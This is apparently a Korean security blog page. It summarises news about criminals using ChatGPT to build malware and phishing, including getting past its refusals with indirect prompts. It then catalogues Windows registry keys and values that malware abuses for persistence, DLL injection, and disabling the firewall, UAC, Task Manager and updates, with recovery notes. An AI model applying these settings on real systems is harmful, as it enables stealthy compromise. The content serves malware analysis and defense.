요약 - 다크웹 내 포럼에서 활동하는 사이버 범죄자들이 챗GPT를 악성 공격에 활용한 사례들이 공유
- 챗GPT를 사용해 악성코드나 피싱메일 등 해킹도구를 개발한 사례가 적발
※ 챗GPT: 미국 오픈AI가 개발한 대화형 인공지능(AI) 채팅로봇. 대규모 AI모델인 ‘GPT-3.5’ 언어 기술을 사용해 이용자와 실시간으로 대화가 가능
내용 - 오픈AI의 서비스약관
> 랜섬웨어, 키로거, 바이러스 또는 일정 수준의 피해를 입히려는 기타 소프트웨어 생성을 시도하는 콘텐츠를 악성코드로 정의하고 생성을 구체적으로 금지
> 사이버 범죄를 겨냥한 사용과 스팸 생성 시도도 금지

- 챗GPT가 작성해준 코드 스크립트에 약간의 작업만 거치면 랜섬웨어나 키로거 등을 만들 수 있다는 사실을 확인
> 공격자들은 챗GPT가 작성해준 코드 스크립트를 일부 수정 작업을 거쳐 랜섬웨어 등으로 탈바꿈
> 챗GPT를 통해 해커가 기존보다 더 신뢰할 수 있고 적법한 것처럼 보이는 피싱 이메일을 만들 수 있게 될 것

> 이같은 방법을 타 공격자들과 공유

- 다크웹 내 공개 사례
① 다크웹 해킹 포럼에서 누군가 챗GPT를 활용해서 예전부터 잘 알려진 멀웨어를 개발하는 실험을 진행했다고 공개
> 챗GPT가 자신의 명령에 따라 개발한 파이선 기반 정보 탈취 멀웨어의 코드 일부를 공유_12가지 종류의 파일을 훔쳐내는 멀웨어
> 챗GPT에게 명령을 내려 PuTTY SSH와 텔넷 클라이언트를 다운로드 받는 자바 코드를 만들었고, 파워셸을 통해 피해자 시스템에서 몰래 실행시키는 데에 성공

② 12월 1일 사용자 USDoD가 챗GPT를 사용해 생성한 파이선 스크립트를 다크웹에 공개
> 블로피시(Blowfish)와 투피시(Twofish)라는 암호화 알고리즘을 사용해 데이터를 암호화 하고 복호화 하는 기능
> 공격자들이 악의적인 목적을 달성하기 위해 얼마든지 활용할 수 있으며 경험 없이도 쉽게 뭔가를 만들어 내는 게 가능하다고 강조

③ 챗GPT를 사용해 완전 자동화 된 다크웹 시장 플랫폼을 구축
> 훔쳐 낸 은행 계좌 및 지불 카드 데이터를 거래하는 데 특화된 시장이
> 자신의 말을 입증하기 위해 서드파티 API를 활용하는 방법까지 공개
 
- 챗봇은 이미 예전부터 범죄 시장으로의 진입 장벽을 크게 낮출 기술로 꼽혔었음
> 챗GPT와 같은 챗봇은 사람의 말을 듣고(혹은 읽고) 반응하는 기술
> 공격자들이 멀웨어를 손쉽게 대량으로 만들어내는 것이 챗GPT가 단기간에 가져올 수 있는 가장 실질적인 위협
> 기술을 갖춘 공격자가 챗봇을 악용하면 이전과 비교할 수 없는 발전을 이룰 수 있으며, 아무도 생각하지 못했던 새로운 멀웨어를 만들어낼 수 있음

- 챗GPT 언어모델이 보다 정교해지면 공격자들의 간단한 명령어만으로 악성코드나 피싱메일 프로그램을 보다 쉽게 개발할 수 있음
> 초보 해커도 손쉽게 피싱 범죄에 가담하는 등 사이버 범죄 진입 장벽이 대폭 낮아질 것
> 부족한 기술적 배경지식과 전문 기술을 보완할 가능성
> 시스템 취약점을 찾아내고 이를 악용한 제로데이 공격까지 유발하는 단계로 진화될 수 있음
결론 - 오픈AI와 인공지능 개발자들은 인공지능 알고리즘을 향상시키는 중
> 공격자들이 무료로 얻어 활용할 수 있는 도구들이 무한정 태어나고 있다는 뜻
> 챗GPT를 교란시켜 악의적 목적을 달성하는 방법은 해킹 포럼들에서 활발히 공유되는 중
> 지금 향상시키고 있는 각종 인공지능 알고리즘이 악성 명령을 판단해 거부할 수 있도록 훈련시키는 것이 필요

- 규제를 통해 챗GPT가 범죄에 사용되지 못하도록 보호가 시행돼야 할 필요
> 챗GPT를 활용한 사이버 범죄가 아직까지 위협적인 수준은 아니라고 지적 有
> 코드 품질에 대해 알 수 없는 상황이며, 완성도 높은 코드를 생성한 사례는 보고되지 않음
> 챗GPT를 규제하는 것은 섣부른 판단

- 오픈AI 측에서 내부 모니터링 및 차단 등 내부적인 대응 방법을 찾아낼 필요
> 오픈AI 측도 이러한 위험성을 인지하고 AI가 범죄에 악용되는 것을 막기 위해 시스템을 고도화하는 중
> “불법적이거나 비윤리적인 목적으로 코드를 개발하는 것을 도와줄 수 없다”라며 답변을 거부
> 노골적인 질문에 대한 답변만을 거부할 수 있을 뿐, 우회적인 질문을 입력할 경우 답변을 얻을 수 있다고 설명

- 업계와 정부 측이 이러한 악용사례를 예방하기 위해 프로그램을 고도화하고 다양한 해결책을 제시할 필요

 

보안뉴스

 

챗GPT 활용한 악성 공격 실험 사례, 이미 여럿 존재한다

지난 11월 오픈AI(OpenAI)에서 챗GPT(ChatGPT)라는 인공지능 챗봇을 공개한 이후 수많은 보안 전문가들이 목소리를 모아 예언을 하나 했었다. 사이버 범죄자들이 챗봇을 이용해 멀웨어를 작성하는 등

www.boannews.com

 

비밀번호 털어간 초보 해커, 공범은 '챗GPT'? - 머니투데이

챗GPT로 악성코드·데이터 암호복호화 프로그램 개발 다크웹에 챗GPT 활용 사이버범죄 방법 다수 공유"코드 품질 알 수 없다…아직 위협적이진 않아&quo...

news.mt.co.kr

 

"다크웹에서도 챗GPT"...사이버 공격 활용 사례 늘어난다 - 테크M

초거대 인공지능(AI) 기반 대화형 챗봇 \'챗GPT\' 파장이 거세다. 사용자 질문에 대답을 하는 단순한 기능을 넘어, 각종 창작 활동이 가능하다는 사실에 전세계가 술렁이고 있다.특히 논문, 연설문,

www.techm.kr

 

‘챗GPT’ 스팸 이메일도 쓴다… AI 활용 ‘해킹 공격’ 주의보

챗GPT 스팸 이메일도 쓴다 AI 활용 해킹 공격 주의보 세계적으로 열풍인 챗GPT, 해커도 활용해 어색하지 않은 피싱 이메일·간단한 악성코드 개발 악용 사례 막으려고 해도 여전히 우회 가능

biz.chosun.com

 

다크버스에도 챗GPT 열풍…초보해커들도 쉽게 악성코드 제작

‘제2의 알파고 쇼크’로 불리는 ‘챗GPT’가 미래 일자리·교육·사회를 바꿀 지각개편의 핵(核)으로 주목을 받고 있는 가운데, 사이버 범죄자들이 챗GPT를 악성코드와 다크웹 플랫…

www.donga.com

 

AI 챗봇 챗GPT, 악성코드 작성에도 쓰인다

오픈AI의 대화형 AI 챗봇 '챗GPT'기 해커의 악성코드 작성에 쓰이고 있는 것으로 확인됐다.9일(현지시간) 미국지디넷에 따르면, 체크포인트는 해킹 커뮤...

zdnet.co.kr

 

1. 레지스트리

- 시스템, 사용자, 프로그램, 서비스, 드라이버 등 PC 운용에 반드시 필요한 정보를 저장해둔 데이터베이스

- 윈도우+R > regedit.exe(또는 regedit)를 통해 접근하며, 키(Key_폴더의 개념)와 값(Value_파일의 개념)로 구성

- 레지스트리는 수많은 논리를 구분하는 하이브(Hive)로 나눌 수 있으며, 하이브는 모두 HKEY로 시작

하이브 약칭 설명
HKEY_CLASSES_ROOT HKCR - 파일 확장자와 특정 프로그램을 연결시켜주는 참조 테이블
- OLE 데이터와 확장자에 대한 정보, 파일과 프로그램 각 연결 정보가 포함
- 파일 확장자들이 서브트리로 구성, 각 확장자는 파일타입과 연결되어 해당 프로그램을 확인가능
HKEY_CURRENT_USER HKCU - 현재 로그인한 사용자의 설정을 저장
HKEY_LOCAL_MACHINE HKLM - 시스템 전체 설정을 저장
- 부팅과 관련된 5개의 하위키를 가짐
① HKLM\HARDWARE
> 휘발성 정보로 메모리에 존재
> 모니터 포트 등 부팅 시 관련된 하드웨어 장치와 드라이버 맵핑 정보들을 저장

② HKLM\SAM
> 사용자의 로컬 계정 정보(사용자 패스워드, 사용자 프로필 등)와 그룹 정보를 갖고 있음 (리눅스 /etc/passwd와 비슷)
> 일반 관리자 계정으로도 접근이 불가능하며, 시스템 계정으로만 접근 가능

③ HKLM\SECURITY
> 시스템 범위의 보안 정책과 사용자 권한 할당 정보, 현재 시스템의 패스워드 또는 마지막 로그온 사용자의 패스워드 등의 정보를 가짐
> 시스템 계정으로만 접근이 가능

④ HKLM\SYSTEM
> 시스템이 부팅될 때의 환경 설정 정보를 가짐
> 시스템이 정상적 부팅되었을 때 복사되며, 시스템이 비정상적으로 종료되었을 때 복사해 둔 정보를 바탕으로 부팅할 수 있는 옵션을 사용자에게 제공
> 복사본은 일반적으로 '마지막으로 성공한 구성'이라고 부름
> 해당 하이브에서 중요한 것은 바로 CurrentControlSet 키(보통 2개 이상 존재)
> CurrentControlSet은 부팅에서 사용된 ControlSet 키(ControlSet001_최근 부팅에서 사용한 키 또는 ControlSet002_마지막으로 성공한 구성)의 링크이고, 같은 레벨에 있는 Select 키에서 확인 가능

⑤ HKLM\SOFTWARE
> 시스템 범위의 소프트웨어 목록과 그 환경 설정 정보가 저장
> 환경설정 정보에는 애플리케이션 이름, 경로, 라이센스 정보, 만료 날짜 등이 포함
HKEY_USERS  HKU - 시스템의 모든 사용자에 대한 모든 설정을 저장
- HKEY_CURRENT_USER 키에 일치하는 서브키를 가지고 있음
HKEY_CURRENT_CONFIG HKCC - 시스템 시작 시 사용되는 하드웨어 프로파일 저장
- 현재 활성화된 하드웨어 알아보기 위해 참조
HKEY_PERFORMANCE_DATA - - 런타임 성능 데이터 정보를 제공
- 레지스트리 편집기에 보이지 않지만 윈도우 API의 레지스트리 명령어를 통해 확인 가능
HKEY_DYN_DATA - - 윈도우 95, 윈도우 98, 윈도우 Me에만 쓰임
- 플러그 앤 플레이를 비롯한 하드웨어 장치, 네트워크 성능 통계에 대한 정보를 포함

 

2. 악성코드가 이용하는 레지스트리 정보

[탐색기 폴더 옵션의 파일 숨김 속성]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

 

[파일의 속성 부분에서 체크박스 활성/비활성]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\CheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue

 

[오토런 설정]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun
- USB 같은 이동형 저장장치에 대해 Autorun 설정을 합니다. (0xFF로 설정 시 Block, 0x00으로 설정 시 모두 허용)

 

[윈도우 주요 설정 툴 실행 방지]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD

 

[Image File Execution Options 이용하여 프로그램 실행 방지]
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution\Options\calc.exe Debugger = notepad.exe
- 계산기 실행 시 노트패드로 전환되어 실행. (AV 실행을 막거나, 포렌직 툴 실행을 막기위해 변조함)

 

[시작프로그램 관련]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

- HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer
DisableLocalMachineRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
DisableCurrentUserRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
- 이러한 키가 설정되면 시작프로그램에 등록된 프로그램이 실행이 안됨.

HKLM\SOFTWARE\Classes\exefile\shell\open\command
@="soundmix \"%1\" %*"
- soundmix 프로세스를 KILL 하여도 계속적으로 재실행

 

[인터넷 익스플로러]
- HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel
- 해당 키 안에 ResetWebSettings 값이나 HomePage 값이 있으면 시작 페이지 부분 비활성화. (재부팅이 필요 합니다) 

[HKEY_CURRENT_USER\Software\Policies\Microsoft\internet explorer\restrictions]
"NoBrowserOptions"=dword:00000001
- 인터넷 옵션 실행불가 관련 레지스트리

[HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"AdvancedTab"=dword:00000001
"PrivacyTab"=dword:00000001
"ProgramsTab"=dword:00000001
"ConnectionsTab"=dword:00000001
"ContentTab"=dword:00000001
"SecurityTab"=dword:00000001
"GeneralTab"=dword:00000001
- 역시 인터넷 옵션 실행불가 관련 레지스트리

 

[네트워크 관련]
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\MaxUserPort
- 윈도우에서 허용하는 네트워크 연결 개수 수정(주로 Spamer가 변조)

[HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\00000000000*]
"PackedCatalogItem" 이진값 문자열에 악성코드가 삽입되어 있을 경우 네트워크가 정상적으로 동작하지 않음.
netsh winsock show catalog 명령어로 확인 가능, 복구툴 : http://www.cexx.org/lspfix.htm

 

[윈도우 보안 정책 관련]
HKLM\SYSTEM\ControlSet001\Services\wscsvc\Start
- wscsvc : 윈도우 시큐리티 보안센터, 윈도우 시큐리티 보안센터 시작을 꺼버립니다.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA
- 윈도우 VISTA UAC 기능 무효화

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall 
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions  
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
- 윈도우 방화벽 관련 정책 변경

HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM
- 분산 컴포넌트 객체 모형에 해당하는 값을 변경 [DCOM, Distributed Component Object Model]

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify
- 보안센터 바이러스 백신 경보에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify
- 보안센터 바이러스 사용자지정 백신에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusOverride
- 보안센터 바이러스 방화벽 경보에 해당하는 값을 변경

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Start
- 연결공유서비스에 해당하는 값을 변경한다.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
- 익명연결(널세션)에 해당 하는 값을 변경

 

[제어판 관련]
HKCU\Control Panel\don't load\"access.cpl" = "No"
HKCU\Control Panel\don't load\"appwiz.cpl" = "No"
HKCU\Control Panel\don't load\"hdwwiz.cpl" = "No"
HKCU\Control Panel\don't load\"inetcpl.cpl" = "No"
HKCU\Control Panel\don't load\"intl.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
HKCU\Control Panel\don't load\"main.cpl" = "No"
HKCU\Control Panel\don't load\"ncpa.cpl" = "No"
HKCU\Control Panel\don't load\"netcpl.cpl" = "No"
HKCU\Control Panel\don't load\"nusrmgr.cpl" = "No"
HKCU\Control Panel\don't load\"timedate.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
- 제어판에서 메뉴를 보이지 않도록 한다.

 

[바탕화면 배경화면 관련]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\ActiveDesktop\

 

[윈도우 시작시 자동실행 - Run]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe” 
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunOnce]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunServices]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\”Attack” = “c:\windows\Attack.exe”

 

[윈도우 시작시 자동실행 - Winlogon]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell" = "Explorer.exe %System%\attack.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell"

원래는 Explorer.exe 만 있는게 정상이다. explorer.exe 로 사용자와 컴퓨터간의 대화를 할 수 있게 한다.
여기에 악성코드 경로를 넣어주면, 사용자가 명령을 할 때마다 악성코드가 실행되는 것이다.

 

[윈도우 시작시 자동실행 - Userinit]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Userinit" = "%System%\userinit.exe, %System%\attack.exe"

원래는 "%System%\userinit.exe만 있는게 정상이다. 
부팅이 되고,, winlogon 이 실행되서 로그인을 하고 들어가면, userinit 가 실행이 되서 explorer.exe 를 실행하는 것이다.
요런 흐름인데 explorer.exe 가 실행되기 전에 악성코드가 실행되어 버리니..
백신도 진단을 못할 수도 있는법이다~

 

[윈도우 시작시 자동실행 - Taskman]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Taskman" = "%SystemDrive%\RECYCLER\[SID]\attack.exe"

원래는 Taskman 이라는 값이 없다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\

정상파일 :  system32 폴더 ==>  iedkcs32.dll /ie4uinit.exe / ieuddinit.exe / shmgrate.exe
                advpack.dll / mscories.dll / themeui.dll / shell32.dll
                c:\program files\outlook express\setup50.exe
                c:\windows\inf\unregmp2.exe
{5Y99AE78-58TT-11dW-BE53-Y67078979Y} 는 악성코드..

 

[DLL Injection 을 위한 변경 - AppInit_DLLs]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\"AppInit_DLLs" = "악성코드경로\attack.dll"

DLL Injection 이라는 것은 여러가지 방법이 있는데 그중 한 방법이다.
레지스트리에 위와 같이 등록이 된다면, 어떠한 프로세스에서 user32.dll (실행시 필요) 을 호출할 시에 user32.dll 은 LoadLibrary() 함수를 이용할 것이고, AppInit_DLLs 안에 지정된 DLL 들을 호출할 것이다.
LoadLibrary() 함수에는 인자값이 DLL_PROCESS_ATTACH 를 지정해 준다. 그러므로 중간에 끼어들어갈 수 있다.

 

[DLL Injection - InprocServer32]
HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000000}\InprocServer32\"기본값" = "....\attack.dll"

이것은 attack.dll 에 있는 값을 얻어 컴포넌트 파일의 경로를 알아낸다.
즉.. LoadLibrary() 를 호출하면 (user32.dll 사용시) 클라이언트 프로세스 안에 DLL 컴포넌트를 로드시킨다.

 

[DLL Injection - RemoteAccess]
HKEY_LOCAL_MACHINE\System\CurrentControlSet\RemoteAccess\Parameters"ServiceDLL" = "....\attack.dll"

서비스에서 Routing and Remote Access 를 가로챈다.
정상적인 값은 %SystemRoot%System32\mprdim.dll 이다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789101(임의의번호)}\"StubPath" = "%SystemDrive%\RESTORE\[SID]\악성코드.exe"

위의 경로에서 c:\RESTORE\[SID]\ 에는 Desktop.ini 가 같이 존재하여 두개가 유기적으로 동작한다.

 

[서비스 변경]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\[Service Name]\"Start" = 3

2 = 자동 /  3 =  수동 / 4 = 사용안함
정상적인 서비스의 레지스트리 값을 조정한다.

 

[IFEO 값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\악성코드.exe\"Debugger" = "ntsd -d"

프로그램이 실행되면 위 경로로 가기 때문에 파일들이 실행이 되지 않는다.
정상적인 것은 c:\windows\system32\ntsd.exe ..
나머지는 Debugger 값이 없다.

 

[BHO 값 변경 - Browser Helper Objects]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"
 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"

BHO 는 개발자들이 인터넷 익스플로어를 제어하고 사용자가 원하는대로 바꾸도록 지원해 주는 것이다.
인터넷 익스플로어가 시작될 때, 레지스트리에서 BHO 를 찾고 자동으로 생성한다. 그러므로 이 특징을 이용해 악의적인 행위를 한다.

 

[안전모드에서 부팅 못하게..]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Control\SafeBoot\

악성코드는 위의 키를 아예 삭제해 버린다.

 

[방화벽 우회 - 방화벽 내리기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001(&ControlSet002&CurrentControlSet)Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
"EnableFirewall" = 0

EnableFirewall 의 값은 원래부터 있는 값은 아니고, 윈도우 방화벽을 내리면 생기는 키값이다.
위의 방법으로 윈도우 방화벽을 우회한다.

 

[방화벽 우회 - 악성코드 권한주기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Windir%\system32\"attack.exe" = "%Windir%\system32\attack.exe:*:Enabled:@xpsp2res.dll,-22019" = "Explorer.exe %System%\attack_1.exe"

ControlSet002 / CurrentControlSet 도 마찬가지 이다.
그리고 위에서는 보라색 글자와 같이 DomainProfile 에서 바꾸어 주었는데 이곳이 아닌 StandardProfile 에서도 바꾸어 준다.
뭐.... 워낙 영어에 취약한 지라..  한글로 풀어써서 이해를 하였다.
서비스\공유접근\매개변수\방화벽정책\사용자프로파일\권한응용프로그램\목록\
오호~  방화벽 정책에서 악성코드에 권한을 주는구만?    이라고.. 난 해석하였다.

 

[트레이의 말풍선 도움말 설정]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"EnableBalloonTips" = "1"

위의 내용은 허위로 안내 도움말을 하기 위해 켜놓은 것이다. 원래의 값은 0이다. 보통 허위안티바이러스에서 많이 사용을 한다.
사용자에게 지속적으로 감염되었다고 알려주어 겁주고 결제 요구한다...
EnableBalloonTips  ==> 표시줄 트레이의 풍선 도움말
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[작업관리자 사용금지하게 하는 것]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableTaskMgr" = "1"

Task Manager 를 비활성화 시킨다. 이것은 우리가 흔히 알고 있는 작업관리자이다.
작업관리자(Ctrl+Alt+Del)가 뜨지 않는다면 요 레지스트리가 1로 되어있기 때문에 뜨지 않는 것이다.
악성코드들은 자기자신을 은폐하려 들기 때문에 작업관리자를 사용하지 못하도록 한다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[제어판 사용 금지]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoControlPanel" = "1"

NoControlPanel 은 제어판에 사용자가 접근하는 것을 제한하는 것이다.
이것을 1로 설정해 놓으면 제어판을 열수가 없다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[레지스트리 사용 금지]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableRegistryTools" = "1"

Disable (무능력하게 하다) RegistryTools (레지스트리툴을)
레지스트리 툴 사용을 무능력하게 하여, 사용자의 접근을 막는다.

 

[업데이트 사용 금지 - HKLM]
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU\"NoAutoUpdate" = "1"

자동 업데이트를 막는다.

 

[업데이트 사용 금지 - HKCU]
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoWindowsUpdate" = "1"

 

[보호된 운영체제 파일 숨기기  - 폴더 옵션]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden
"Type" = "nonprintable characters"

악성코드 자신을 보호하고 파일을 숨기면 사용자는 악성코드에 접근할 수 없다.  그러므로 이 레지스트리 값을 이용하여 자신에게 접근을 보호한다.
Type 값에 이상한 글자를 넣게 된다면..  폴더 옵션에서 아예 메뉴가 나오지 않는다.

 

[다운시 보안 팝업창 무력화]
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download
"CheckExeSignatures" = "no"

인터넷에서 다운로드를 해 실행을 하면 경고창을 띄우는 것을 우리는 알고 있다.
그러나 위의 레지값을 변경하면 경고창 없이 설치가 되버린다.

 

[exe 파일이 열리지 않을때 - 프로그램 선택하라는 창이 나올 때  ]
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = "%1" %* 
위와 같이 기본값을 변경해 주어야 한다. 

HKEY_CLASSES_ROOT\.exe\"기본값" = "secfile"
HKEY_CLASSES_ROOT\.exe\"기본값" = "exefile"
secfile 값을 exefile 로 고쳐준다.

HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = "%1" %* 
키를 삭제해주어도 무방.

HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = "%1" %*
키를 삭제해주어도 무방.

악성코드는 secfile 이라는 것을 만들어 exe 가 실행되면 자신이 만들어 놓은 레지스트리 대로 행동하게 한다.
아래 값들처럼 복구를 해주어야 한다.
  
아래와 같이 레지스트리를 생성하는 경우도 있다. 그럴 때는 이 키들을 삭제해주어야 한다.

HKEY_CURRENT_USER\Software\Classes\.exe\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*
HKEY_CURRENT_USER\Software\Classes\secfile\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*

간혹,,, 아래 표와같은 레지스트리 변경건도 있을 수 있다.
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\safemode\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"  -safe-mode
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\InternetExplorer\iexplore.exe"  -safe-mode
위 레지스트리 값은 삭제해준다.

 

[익스플로어 검색 기본값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Default_Search_URL" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 검색 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Search page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 시작 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Start Page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

※ 출처

 

악성코드가 이용하는 Windows Registry 정보

[탐색기 폴더 옵션의 파일 숨김 속성] HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explor

jyj850714.tistory.com

 

3. 참고

https://ko.wikipedia.org/wiki/%EC%9C%88%EB%8F%84%EC%9A%B0_%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC

https://yum-history.tistory.com/265

https://m.blog.naver.com/nologout/19168074

https://jyj850714.tistory.com/130

https://comeinsidebox.com/%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-registry%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B4%EB%A9%B0-%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-%ED%8E%B8%EC%A7%91%EA%B8%B0%EB%A5%BC-%EC%82%AC/

'악성코드 > 분석' 카테고리의 다른 글

BYOVD (Bring Your Own Vulnerable Driver) 기법  (0) 2023.03.22
제로클릭(Zero-Click)  (0) 2023.02.20
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

1. 개요

[그림 1] Mirai (출처 : 해시넷)

타임라인 설명
